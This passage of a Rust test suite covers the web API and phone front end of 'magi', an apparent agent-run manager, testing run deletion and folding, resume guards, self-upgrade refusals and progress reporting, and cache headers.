7787 .expect("leave a stale heartbeat");
7788 let mut t3 = Task::new(
7789 "Task 3".to_owned(),
7790 "Instruction 3".to_owned(),
7791 PathBuf::from("/repo"),
7792 Source::Human,
7793 );
7794 t3.status = TaskStatus::Running;
7795 q.put(&mut t3).expect("put t3");
7796 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
7797 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
7798 assert_eq!(res.status, 204);
7799 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
7800 assert!(
7801 q.claim(&t3.id).is_ok(),
7802 "the stale lock went with it, so the id is claimable again"
7803 );
7804
7805 let res = fx.delete("/api/queue/nonexistent").await;
7807 assert_eq!(res.status, 404);
7808 }
7809
7810 #[tokio::test]
7811 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
7812 let fx = Fixture::start().await;
7813 let runs = fx.runs();
7814
7815 let run_id = "20260901-000000-fold";
7817 let mut state = RunState::new(
7818 PathBuf::from("/repo"),
7819 "main".to_owned(),
7820 "abc".to_owned(),
7821 "instruction".to_owned(),
7822 Config::default(),
7823 );
7824 state.id = run_id.to_owned();
7825 state.status = RunStatus::Merged;
7826 state.candidates.push(crate::run::Candidate {
7827 index: 0,
7828 label: 'A',
7829 agent: "a".to_owned(),
7830 branch: "b".to_owned(),
7831 worktree: PathBuf::from("/w"),
7832 summary: String::new(),
7833 stat: String::new(),
7834 files: 1,
7835 commits: 1,
7836 empty: false,
7837 failed: None,
7838 verified_noop: None,
7839 duration_ms: 0,
7840 folded: true,
7841 });
7842 let dir = runs.join(run_id);
7843 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
7844 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
7845 .expect("write artifact");
7846 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
7847 .expect("write run.json");
7848
7849 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
7851 assert_eq!(res.status, 204);
7852 assert!(res.body.is_empty(), "204 has no body");
7853 assert!(!dir.exists(), "run directory and artifacts must be deleted");
7854
7855 let run_running = "20260901-000000-rung";
7860 write_run(&runs, run_running, RunStatus::Prep);
7861 let mut beat = crate::daemon::Status::new();
7862 beat.current = vec![crate::daemon::Current {
7863 task: "20260901-000000-task".to_owned(),
7864 run: run_running.to_owned(),
7865 }];
7866 beat.updated_at = jiff::Timestamp::now();
7867 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7868 .expect("publish a heartbeat");
7869 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
7870 assert_eq!(res.status, 409);
7871 assert!(
7872 res.json()["error"]
7873 .as_str()
7874 .unwrap()
7875 .contains("live daemon"),
7876 "the refusal must say who is holding it"
7877 );
7878 assert!(
7879 runs.join(run_running).exists(),
7880 "a run in flight keeps its directory"
7881 );
7882
7883 let run_unfolded = "20260901-000000-unfd";
7885 let mut state2 = RunState::new(
7886 PathBuf::from("/repo"),
7887 "main".to_owned(),
7888 "abc".to_owned(),
7889 "instruction".to_owned(),
7890 Config::default(),
7891 );
7892 state2.id = run_unfolded.to_owned();
7893 state2.status = RunStatus::Ready;
7894 state2.candidates.push(crate::run::Candidate {
7895 index: 0,
7896 label: 'A',
7897 agent: "a".to_owned(),
7898 branch: "b".to_owned(),
7899 worktree: PathBuf::from("/w"),
7900 summary: String::new(),
7901 stat: String::new(),
7902 files: 1,
7903 commits: 1,
7904 empty: false,
7905 failed: None,
7906 verified_noop: None,
7907 duration_ms: 0,
7908 folded: false,
7909 });
7910 let dir2 = runs.join(run_unfolded);
7911 std::fs::create_dir_all(&dir2).expect("create dir2");
7912 std::fs::write(
7913 dir2.join("run.json"),
7914 serde_json::to_string(&state2).unwrap(),
7915 )
7916 .expect("write run.json");
7917
7918 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
7919 assert_eq!(res.status, 409);
7920 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
7921 assert!(dir2.exists(), "unfolded run directory is kept");
7922
7923 let res = fx.delete("/api/runs/nonexistent").await;
7925 assert_eq!(res.status, 404);
7926 }
7927
7928 #[test]
7929 fn web_ui_delete_contract_in_front_end() {
7930 assert!(APP_JS.contains("deleteRun:"));
7932 assert!(APP_JS.contains("deleteTask:"));
7933
7934 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
7936 ..APP_JS.find("function renderRuns").unwrap()];
7937 assert!(!run_cards_slice.to_lowercase().contains("delete"));
7938
7939 assert!(APP_JS.contains("renderRunDelete"));
7941 assert!(APP_JS.contains("runDeleteReason"));
7942 assert!(APP_JS.contains("magi fold"));
7943 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
7944
7945 assert!(APP_JS.contains("cancel.focus"));
7947 assert!(APP_JS.contains("armedRunDelete"));
7948 assert!(APP_JS.contains("armedDelete"));
7949
7950 assert!(APP_JS.contains("disabled: status === \"running\""));
7952 }
7953
7954 #[test]
7974 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
7975 let build = APP_JS
7976 .find("function createRunCard")
7977 .expect("createRunCard exists");
7978 let update = APP_JS
7979 .find("function updateRunCard")
7980 .expect("updateRunCard exists");
7981 let end = APP_JS
7982 .find("function renderRuns")
7983 .expect("renderRuns exists");
7984
7985 let builder = &APP_JS[build..update];
7987 let open = builder.find("refs = {").expect("createRunCard sets refs");
7988 let literal = &builder[open + "refs = {".len()..];
7989 let close = literal.find('}').expect("the refs literal is closed");
7990 let published: HashSet<&str> = literal[..close]
7991 .split(',')
7992 .filter_map(|entry| entry.split(':').next())
7994 .map(str::trim)
7995 .filter(|name| !name.is_empty())
7996 .collect();
7997 assert!(
7998 published.len() > 5,
7999 "the refs literal did not parse into names: {published:?}"
8000 );
8001
8002 let mut used: Vec<&str> = Vec::new();
8005 let updaters = &APP_JS[update..end];
8006 for (at, _) in updaters.match_indices("r.") {
8007 let before = updaters[..at].chars().next_back();
8010 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
8011 continue;
8012 }
8013 let rest = &updaters[at + 2..];
8014 let len = rest
8015 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
8016 .unwrap_or(rest.len());
8017 if len > 0 {
8018 used.push(&rest[..len]);
8019 }
8020 }
8021 assert!(
8022 used.len() > 5,
8023 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
8024 );
8025
8026 let missing: Vec<&str> = used
8027 .iter()
8028 .copied()
8029 .filter(|name| !published.contains(name))
8030 .collect();
8031 assert!(
8032 missing.is_empty(),
8033 "a run card's updater reaches for {missing:?}, which `createRunCard` \
8034 never put in `refs` - every card will throw and the list will \
8035 render empty under a count line that says otherwise. Published: \
8036 {published:?}"
8037 );
8038 }
8039
8040 #[tokio::test]
8041 async fn folding_from_the_phone_reports_what_it_removed() {
8042 let fx = Fixture::start().await;
8043 let runs = fx.runs();
8044
8045 let id = "20260901-000000-fold";
8049 write_run(&runs, id, RunStatus::Stalled);
8050 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
8051 assert_eq!(res.status, 200);
8052 assert_eq!(res.json()["removed_count"], 0);
8053 assert_eq!(res.json()["run"], id);
8054 assert!(
8055 runs.join(id).exists(),
8056 "a fold keeps the run's record; only the worktrees go"
8057 );
8058 }
8059
8060 #[tokio::test]
8061 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
8062 let fx = Fixture::start().await;
8063 let runs = fx.runs();
8064 let wt = fx.home.path().join("wt").join("magi").join("dead");
8065 let id = "20260901-000000-dead";
8066 std::fs::create_dir_all(runs.join(id)).expect("run dir");
8067 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
8068 std::fs::create_dir_all(&wt).expect("worktree dir");
8069
8070 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
8071 assert_eq!(res.status, 200, "{}", res.body);
8072 assert!(
8073 res.json()["removed_count"].as_u64().unwrap() > 0,
8074 "the worktree this build could not read a state for still went"
8075 );
8076 assert!(
8077 !runs.join(id).exists(),
8078 "an unreadable run has no candidate list to fold selectively, so \
8079 the whole record goes - same as `magi fold` on the CLI"
8080 );
8081 }
8082
8083 #[tokio::test]
8084 async fn deleting_an_unreadable_run_removes_it_wholesale() {
8085 let fx = Fixture::start().await;
8086 let runs = fx.runs();
8087 let wt = fx.home.path().join("wt").join("magi").join("gone");
8088 let id = "20260901-000000-gone";
8089 std::fs::create_dir_all(runs.join(id)).expect("run dir");
8090 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
8091 std::fs::create_dir_all(&wt).expect("worktree dir");
8092
8093 let res = fx.delete(&format!("/api/runs/{id}")).await;
8094 assert_eq!(res.status, 204, "{}", res.body);
8095 assert!(!runs.join(id).exists(), "the broken record is gone");
8096 assert!(!wt.exists(), "its worktree is gone too");
8097 }
8098
8099 #[tokio::test]
8100 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
8101 let fx = Fixture::start().await;
8102 let runs = fx.runs();
8103 let id = "20260901-000000-live";
8104 write_run(&runs, id, RunStatus::Implementing);
8105
8106 let mut beat = crate::daemon::Status::new();
8107 beat.current = vec![crate::daemon::Current {
8108 task: "20260901-000000-task".to_owned(),
8109 run: id.to_owned(),
8110 }];
8111 beat.updated_at = jiff::Timestamp::now();
8112 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8113 .expect("publish a heartbeat");
8114
8115 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
8116 assert_eq!(res.status, 409);
8117 assert!(
8118 res.json()["error"]
8119 .as_str()
8120 .unwrap()
8121 .contains("live daemon"),
8122 "folding under a running agent would pull its worktree away"
8123 );
8124 }
8125
8126 #[tokio::test]
8127 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
8128 let fx = Fixture::start().await;
8129 let runs = fx.runs();
8130
8131 for (status, word) in [
8137 (RunStatus::Merged, "merged"),
8138 (RunStatus::Ready, "ready"),
8139 (RunStatus::Failed, "failed"),
8140 ] {
8141 let id = format!("20260901-000000-{}", &word[..4]);
8142 write_run(&runs, &id, status);
8143 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
8144 assert_eq!(res.status, 409, "{word} must not be resumable");
8145 let err = res.json()["error"].as_str().unwrap().to_owned();
8146 assert!(err.contains(word), "the refusal names the status: {err}");
8147 }
8148
8149 let mid = "20260901-000000-midf";
8154 write_run(&runs, mid, RunStatus::Reviewing);
8155 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
8156 assert_eq!(res.status, 202, "an interrupted run is resumable");
8157 }
8158
8159 #[tokio::test]
8160 async fn resume_is_refused_while_the_loop_is_running() {
8161 let fx = Fixture::start().await;
8162 let runs = fx.runs();
8163 let stalled = "20260901-000000-stal";
8164 write_run(&runs, stalled, RunStatus::Stalled);
8165
8166 let mut beat = crate::daemon::Status::new();
8170 beat.current = vec![crate::daemon::Current {
8171 task: "20260901-000000-task".to_owned(),
8172 run: "20260901-000000-othr".to_owned(),
8173 }];
8174 beat.updated_at = jiff::Timestamp::now();
8175 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8176 .expect("publish a heartbeat");
8177
8178 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
8179 assert_eq!(res.status, 409);
8180 let err = res.json()["error"].as_str().unwrap().to_owned();
8181 assert!(err.contains("othr"), "it names what the loop is on: {err}");
8182 assert!(err.contains("stop it first"), "{err}");
8183 }
8184
8185 #[test]
8186 fn a_run_cannot_be_resumed_twice_at_once() {
8187 let home = TempDir::new().expect("temp home");
8188 let ui = Ui::new(
8189 Queue::at(home.path().join("queue")),
8190 Questions::at(home.path().join("questions")),
8191 Talks::at(home.path().join("talks")),
8192 home.path().join("runs"),
8193 home.path().to_path_buf(),
8194 PathBuf::from("/repo"),
8195 )
8196 .with_worktrees_root(home.path().join("wt"));
8197 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
8198 let again = ui.begin_resume("20260901-000000-once");
8199 assert!(again.is_err(), "a second tap must not start a second graph");
8200 drop(first);
8201 assert!(
8202 ui.begin_resume("20260901-000000-once").is_ok(),
8203 "and the claim is released when the attempt ends"
8204 );
8205 }
8206
8207 #[test]
8208 fn talk_thinking_tracks_only_its_held_turn_claim() {
8209 let home = TempDir::new().expect("temp home");
8210 let ui = Ui::new(
8211 Queue::at(home.path().join("queue")),
8212 Questions::at(home.path().join("questions")),
8213 Talks::at(home.path().join("talks")),
8214 home.path().join("runs"),
8215 home.path().to_path_buf(),
8216 PathBuf::from("/repo"),
8217 )
8218 .with_worktrees_root(home.path().join("wt"));
8219 let id = "20260901-000000-once";
8220
8221 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
8222 let turn = ui.begin_talk_turn(id).expect("claim turn");
8223 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
8224 assert!(
8225 !ui.is_thinking("20260901-000000-other"),
8226 "one talk's turn does not make another talk busy"
8227 );
8228 drop(turn);
8229 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
8230 }
8231
8232 #[tokio::test]
8233 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
8234 let fx = Fixture::start().await;
8235 let mut beat = crate::daemon::Status::new();
8239 beat.pid = 4321;
8240 beat.updated_at = jiff::Timestamp::now();
8241 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8242 .expect("publish a heartbeat");
8243
8244 let res = fx.post("/api/upgrade", None).await;
8245 assert_eq!(res.status, 409);
8246 let err = res.json()["error"].as_str().unwrap().to_owned();
8247 assert!(err.contains("4321"), "the refusal names the owner: {err}");
8248 assert!(err.contains("old one against the same queue"), "{err}");
8249 }
8250
8251 #[test]
8258 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
8259 assert!(!should_spawn_recheck(&crate::config::Update {
8260 mode: UpdateMode::Off,
8261 interval: None,
8262 }));
8263
8264 unsafe {
8267 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
8268 }
8269 let killed = should_spawn_recheck(&crate::config::Update {
8270 mode: UpdateMode::Notify,
8271 interval: None,
8272 });
8273 unsafe {
8274 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
8275 }
8276 assert!(
8277 !killed,
8278 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
8279 one-time startup check"
8280 );
8281
8282 assert!(should_spawn_recheck(&crate::config::Update {
8283 mode: UpdateMode::Notify,
8284 interval: None,
8285 }));
8286 }
8287
8288 #[test]
8294 fn recheck_poll_period_tracks_a_short_configured_interval() {
8295 let short = crate::config::Update {
8296 mode: UpdateMode::Notify,
8297 interval: Some("1m".to_owned()),
8298 };
8299 let period = recheck_poll_period(&short);
8300 assert!(
8301 period <= Duration::from_secs(30),
8302 "a one-minute interval must wake the task far sooner than the \
8303 default ceiling, or the deck would not notice within the \
8304 interval the operator configured: got {period:?}"
8305 );
8306
8307 let default = crate::config::Update {
8308 mode: UpdateMode::Notify,
8309 interval: None,
8310 };
8311 assert_eq!(
8312 recheck_poll_period(&default),
8313 UPDATE_RECHECK_POLL_MAX,
8314 "the default day-long interval should poll at the (capped) \
8315 ceiling rather than needlessly often"
8316 );
8317 }
8318
8319 #[test]
8327 fn recheck_skips_the_network_before_the_interval_elapses() {
8328 let dir = TempDir::new().expect("temp dir");
8329 let path = dir.path().join("state.json");
8330 let state = kaishin::UpdateCheckState {
8331 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
8332 last_known_latest: None,
8333 last_known_url: None,
8334 };
8335 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
8336
8337 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
8338 assert!(
8339 !update_recheck_due(&checker, None),
8340 "a check made moments ago must not be repeated before the \
8341 configured interval elapses"
8342 );
8343 }
8344
8345 #[test]
8351 fn recheck_defers_to_an_upgrade_already_in_flight() {
8352 let dir = TempDir::new().expect("temp dir");
8353 let path = dir.path().join("state.json");
8354 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
8355 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
8356
8357 assert!(
8358 !update_recheck_due(&checker, Some(&progress)),
8359 "a recheck must not run while an upgrade this deck started is \
8360 still moving"
8361 );
8362 }
8363
8364 #[tokio::test]
8365 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
8366 unsafe {
8378 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
8379 }
8380 let fx = Fixture::start().await;
8381 let res = fx.post("/api/upgrade", None).await;
8382 unsafe {
8383 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
8384 }
8385 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
8386 let body = res.json();
8387 assert!(body["to"].is_null(), "there was no release to move to");
8388 assert!(body["parked"].is_null(), "and nothing was parked");
8389 assert!(
8390 body["detail"]
8391 .as_str()
8392 .unwrap()
8393 .contains("disabled by MAGI_NO_AUTOUPDATE"),
8394 "{body:?}"
8395 );
8396 }
8397
8398 #[tokio::test]
8399 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
8400 let repo = TempDir::new().expect("repo dir");
8416 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
8417 .expect("write magi.toml");
8418 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
8419
8420 let res = fx.post("/api/upgrade", None).await;
8426 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
8427 let body = res.json();
8428 assert!(body["to"].is_null(), "there was no release to move to");
8429 assert!(body["parked"].is_null(), "and nothing was parked");
8430 assert!(
8431 body["detail"]
8432 .as_str()
8433 .unwrap()
8434 .contains("nothing restarted"),
8435 "{body:?}"
8436 );
8437 }
8438
8439 #[tokio::test]
8440 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
8441 let repo = TempDir::new().expect("repo dir");
8446 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
8447 .expect("write magi.toml");
8448 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
8449
8450 let health = fx.get("/api/health").await.json();
8451 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
8452 assert_eq!(
8453 health["update"]["available"], false,
8454 "checking is off, which reads as \"unknown\", not \"none\""
8455 );
8456 assert!(health["update"]["to"].is_null());
8457 assert!(
8458 health["upgrade"].is_null(),
8459 "nothing has ever asked this deck to upgrade"
8460 );
8461 }
8462
8463 #[tokio::test]
8464 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
8465 let fx = Fixture::start().await;
8466 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
8467
8468 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
8469 progress.parked_run = Some("20260905-000000-cd51".to_owned());
8470 progress.advance(crate::updater::Stage::Parking);
8471 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
8472
8473 let health = fx.get("/api/health").await.json();
8474 assert_eq!(health["upgrade"]["stage"], "parking");
8475 assert_eq!(health["upgrade"]["from"], "0.5.1");
8476 assert_eq!(health["upgrade"]["to"], "0.5.2");
8477 let waiting_on = health["upgrade"]["waiting_on"]
8478 .as_str()
8479 .expect("waiting_on is set while parking a known run");
8480 assert!(waiting_on.contains("cd51"), "{waiting_on}");
8481 assert!(waiting_on.contains("implementing"), "{waiting_on}");
8482 }
8483
8484 #[tokio::test]
8485 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
8486 let fx = Fixture::start().await;
8487 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
8488 progress.advance(crate::updater::Stage::Done);
8489 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
8490
8491 let health = fx.get("/api/health").await.json();
8492 assert_eq!(health["upgrade"]["stage"], "done");
8493 assert!(
8494 health["upgrade"]["waiting_on"].is_null(),
8495 "nothing to wait on once it is done"
8496 );
8497 }
8498
8499 #[tokio::test]
8500 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
8501 let home = TempDir::new().expect("temp home");
8502 let runs = home.path().join("runs");
8503 std::fs::create_dir_all(&runs).expect("runs dir");
8504 let ui = Ui::new(
8505 Queue::at(home.path().join("queue")),
8506 Questions::at(home.path().join("questions")),
8507 Talks::at(home.path().join("talks")),
8508 runs,
8509 home.path().to_path_buf(),
8510 PathBuf::from("/repo/magi"),
8511 )
8512 .with_launch(launch_idle);
8513 let looping = ui.looping();
8514 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
8515 .await
8516 .expect("bind loopback");
8517 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
8518
8519 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
8520 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
8521
8522 hand_over(home.path(), &looping, served, || Ok(()))
8523 .await
8524 .expect("hand over");
8525
8526 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
8527 assert_eq!(
8528 after.stage,
8529 crate::updater::Stage::Restarting,
8530 "hand_over owns the record through parking and up to restarting; \
8531 the successor is what finishes it"
8532 );
8533 }
8534
8535 #[test]
8536 fn the_upgrade_button_arms_before_it_restarts_anything() {
8537 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
8540 assert!(APP_JS.contains("Replace the binary and restart?"));
8541 assert!(APP_JS.contains("function confirmed("));
8542 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
8547 assert!(
8551 APP_JS.contains("Parking, then restarting"),
8552 "the button says what it is waiting for"
8553 );
8554 assert!(APP_JS.contains("if (!out.to)"));
8557 }
8558
8559 #[test]
8560 fn stopping_the_loop_arms_but_starting_does_not() {
8561 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
8564 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
8565 assert!(APP_JS.contains("confirmed(button, question)"));
8566 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
8569 assert!(APP_JS.contains("const label = btn.textContent;"));
8570 assert!(!APP_JS.contains("Neither direction is guarded"));
8571 }
8572
8573 #[test]
8574 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
8575 assert!(
8576 APP_JS.contains("state.health.version"),
8577 "the operator wants to know what is running even with nothing newer"
8578 );
8579 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
8580 }
8581
8582 #[test]
8583 fn the_upgrade_button_names_its_destination() {
8584 assert!(
8585 APP_JS.contains("`Update to ${update.to}`"),
8586 "pressing the button should not be a surprise about what it moves to"
8587 );
8588 }
8589
8590 #[test]
8591 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
8592 for stage in ["downloading", "replaced", "parking", "restarting"] {
8593 assert!(
8594 APP_JS.contains(&format!("\"{stage}\"")),
8595 "the phone must be able to tell {stage} apart from the others"
8596 );
8597 }
8598 assert!(APP_JS.contains(".waiting_on"));
8599 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
8604 assert!(APP_JS.contains("reconnects on its own"));
8605 }
8606
8607 #[test]
8608 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
8609 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
8618 ..APP_JS.find("function upgrade(").expect("upgrade")];
8619 assert!(
8620 !body.contains(
8621 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
8622 ),
8623 "a failed upgrade must not take the whole strip over the way it used to"
8624 );
8625 assert!(
8626 body.contains("upgradeFailNote"),
8627 "the failure has to reach the loop's own note instead"
8628 );
8629 assert_eq!(
8633 body.matches("upgradeFailNote].filter(Boolean).join")
8634 .count(),
8635 2,
8636 "both loop-why writers (quiet and control) must fold the note in"
8637 );
8638 }
8639
8640 #[test]
8641 fn an_overdue_upgrade_eventually_asks_for_a_human() {
8642 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
8645 assert!(APP_JS.contains("function upgradeOverdue("));
8646 }
8647
8648 #[test]
8649 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
8650 assert!(
8651 APP_JS.contains("Updated to ${upgradeInfo.to"),
8652 "the operator who asked for the restart wants to know it worked"
8653 );
8654 }
8655
8656 #[test]
8657 fn an_error_is_visible_from_where_the_button_is() {
8658 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
8663 ..APP_CSS.find(".alert-text").expect(".alert-text")];
8664 assert!(
8665 alert.contains("position: fixed"),
8666 "an error about the thing under your thumb has to be visible from \
8667 where your thumb is: {alert}"
8668 );
8669 assert!(
8670 alert.contains("z-index: 25"),
8671 "above the dock (20) and the run-actions FAB (15), so neither \
8672 buries it: {alert}"
8673 );
8674 assert!(
8675 alert.contains("var(--tap)"),
8676 "and clear of the dock and the home indicator: {alert}"
8677 );
8678 assert!(
8681 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
8682 "the FAB's column stays free: {alert}"
8683 );
8684 }
8685
8686 #[tokio::test]
8687 async fn an_older_attempt_says_what_replaced_it() {
8688 let fx = Fixture::start().await;
8689 let q = fx.queue();
8690 let runs = fx.runs();
8691 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
8692 write_run(&runs, first, RunStatus::Stalled);
8693 write_run(&runs, second, RunStatus::Blocked);
8694
8695 let mut t = Task::new(
8696 "one task".to_owned(),
8697 "do it".to_owned(),
8698 PathBuf::from("/repo"),
8699 Source::Human,
8700 );
8701 t.runs = vec![first.to_owned(), second.to_owned()];
8702 q.put(&mut t).expect("put");
8703
8704 let rows = fx.get("/api/runs").await.json();
8708 let by = |short: &str| -> Value {
8709 rows.as_array()
8710 .unwrap()
8711 .iter()
8712 .find(|r| r["short"] == short)
8713 .cloned()
8714 .unwrap_or(Value::Null)
8715 };
8716 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
8717 assert!(
8718 by("bbbb")["superseded_by"].is_null(),
8719 "the latest attempt is not superseded by anything"
8720 );
8721 assert!(APP_JS.contains("run.superseded_by"));
8723 assert!(APP_JS.contains("Superseded by"));
8724 }
8725
8726 #[tokio::test]
8727 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
8728 let fx = Fixture::start().await;
8729 let js = fx.get("/app.js").await;
8735 assert_eq!(js.status, 200);
8736 let tag = js
8737 .header("etag")
8738 .expect("an etag to revalidate against")
8739 .to_owned();
8740 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
8741 assert_eq!(
8742 js.header("cache-control"),
8743 Some("no-cache, must-revalidate"),
8744 "the phone has to ask every time"
8745 );
8746
8747 let again = fx
8750 .get_with("/app.js", &[("if-none-match", tag.as_str())])
8751 .await;
8752 assert_eq!(
8753 again.status, 304,
8754 "a deck it already has costs one round trip"
8755 );
8756 assert!(again.body.is_empty(), "304 carries no body");
8757
8758 let weak = fx
8761 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
8762 .await;
8763 assert_eq!(weak.status, 304);
8764 let stale = fx
8765 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
8766 .await;
8767 assert_eq!(stale.status, 200, "an older build must be replaced");
8768 assert!(stale.body.contains("renderRunActions"));
8769 }
8770
8771 #[test]
8772 fn the_deck_never_sends_the_operator_to_a_terminal() {
8773 assert!(
8776 !APP_JS.contains("Run `magi fold` first"),
8777 "the deck must offer the fold, not prescribe a shell command"
8778 );
8779 assert!(APP_JS.contains("foldRun:"));
8780 assert!(APP_JS.contains("resumeRun:"));
8781 assert!(APP_JS.contains("renderRunActions"));
8782
8783 assert!(APP_JS.contains("armedFold"));
8785 assert!(APP_JS.contains("Yes, fold worktrees"));
8786
8787 assert!(APP_JS.contains("can no longer be resumed"));
8790 }
8791
8792 #[test]
8793 fn a_finished_run_explains_itself_with_its_own_last_line() {
8794 assert!(
8800 !APP_JS.contains("collapsed on agent quota"),
8801 "a stall must not be explained by a cause the deck did not check"
8802 );
8803 assert!(
8804 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
8805 "and a block must not offer a guess with an `or` in it"
8806 );
8807
8808 assert!(
8812 APP_JS.contains("setText(r.event, run.event || \"\")"),
8813 "the run's last line is rendered unconditionally"
8814 );
8815 assert!(
8816 !APP_JS.contains("moving && run.event"),
8817 "and never gated on the run still moving"
8818 );
8819
8820 assert!(APP_JS.contains("lost to quota"));
8822 }
8823
8824 #[test]
8846 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
8847 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
8848 let shapes_body_start =
8849 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
8850 let shapes_close = APP_JS[shapes_body_start..]
8851 .find("].map(")
8852 .expect("the shape list is closed by its done-computing .map(...)")
8853 + shapes_body_start;
8854 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
8855
8856 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
8857 for entry in shapes_src.split('{').skip(1) {
8858 let waiting = entry.contains("waiting: true");
8859 let dead = entry.contains("live: \"dead\"");
8860 let status_at =
8861 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
8862 let status_end = entry[status_at..]
8863 .find('"')
8864 .expect("the status string is closed")
8865 + status_at;
8866 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
8867 }
8868 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
8869
8870 let done_rule_marker = "done: !";
8874 let done_rule_at = APP_JS[shapes_close..]
8875 .find(done_rule_marker)
